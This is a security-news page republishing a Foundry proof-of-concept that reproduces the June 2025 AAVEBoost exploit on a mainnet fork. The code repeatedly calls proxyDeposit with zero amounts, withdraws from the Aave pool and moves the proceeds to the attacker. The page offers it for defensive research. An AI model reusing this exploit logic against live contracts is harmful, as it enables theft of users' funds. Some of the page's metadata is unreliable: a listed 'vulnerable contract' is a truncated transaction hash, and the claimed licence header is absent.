Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/AAVEBoost_exp.sol

Public reproduction file for dataset entry AAVEBoost.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/AAVEBoost_exp.sol78 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 14.8K USD
7// Attacker : 0x5d4430d14ae1d11526ddac1c1ef01da3b1dae455
8// Attack Contract : https://etherscan.io/address/0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de
9// Vulnerable Contract :
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/CertiKAlert/status/1933011428157563188
17// Twitter Guy : https://x.com/CertiKAlert/status/1933011428157563188
18// Hacking God : N/A
20address constant AavePool = 0xf36F3976f288b2B4903aca8c177efC019b81D88B;
21address constant InitializableAdminUpgradeabilityProxy = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;
22address constant AaveBoost = 0xd2933c86216dC0c938FfAFEca3C8a2D6e633e2cA;
23address constant attacker = 0x5D4430D14aE1d11526ddAc1c1eF01DA3b1DaE455;
24address constant addr = 0x740836C95C6f3F49CccC65A27331D1f225138c39;
26contract ContractTest is Test {
27 function setUp() public {
28 vm.createSelectFork("mainnet", 22685443);
29 }
31 function testPoC() public {
32 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);
33 vm.startPrank(attacker, attacker);
34 AttackerC attC = new AttackerC();
35 deal(address(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9), address(attC), 48900000000000000000);
36 deal(address(0x740836C95C6f3F49CccC65A27331D1f225138c39), address(attC), 48900000000000000000);
37 attC.attack();
38 vm.stopPrank();
39 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);
40 }
43contract AttackerC {
44 function attack() public {
45 require(msg.sender == attacker && tx.origin == attacker, "auth");
47 uint256 balBoostToken = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(AaveBoost);
49 uint256 limit = balBoostToken / (3 * 10**17);
50 uint256 idx = 0;
51 while (idx < 163) {
52 if (idx < limit) {
53 (bool ok, ) = AaveBoost.call(abi.encodeWithSelector(IAaveBoost.proxyDeposit.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(0)));
54 ok;
55 }
56 unchecked { idx++; }
57 }
59 if (163 >= limit) {
60 uint256 aBal = IInitializableAdminUpgradeabilityProxy(addr).balanceOf(address(this));
61 (bool ok1, ) = AavePool.call(abi.encodeWithSelector(IAavePool.withdraw.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(aBal), false));
62 ok1;
63 uint256 uBal = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(address(this));
64 IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).transfer(attacker, uBal);
65 }
66 }
69interface IAavePool {
70 function withdraw(address, address, uint128, bool) external;
72interface IInitializableAdminUpgradeabilityProxy {
73 function balanceOf(address) external returns (uint256);
74 function transfer(address, uint256) external returns (bool);
76interface IAaveBoost {
77 function proxyDeposit(address, address, uint128) external;

Analysis

Dataset entry

Public Foundry test for “AAVEBoost” (2025-06-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5d4430d14ae1d11526ddac1c1ef01da3b1dae455

  • Attack Contract

    0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de

  • Vulnerable Contract

    0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab5

  • Attack Tx

    0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce

File record

Name
AAVEBoost
Path
src/test/2025-06/AAVEBoost_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f25fcdcef15b341724cb620109e5c54af62f7e8b
Language
Solidity
Size
78 lines
Date
2025-06-12
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/AAVEBoost_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f25fcdcef15b341724cb620109e5c54af62f7e8b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.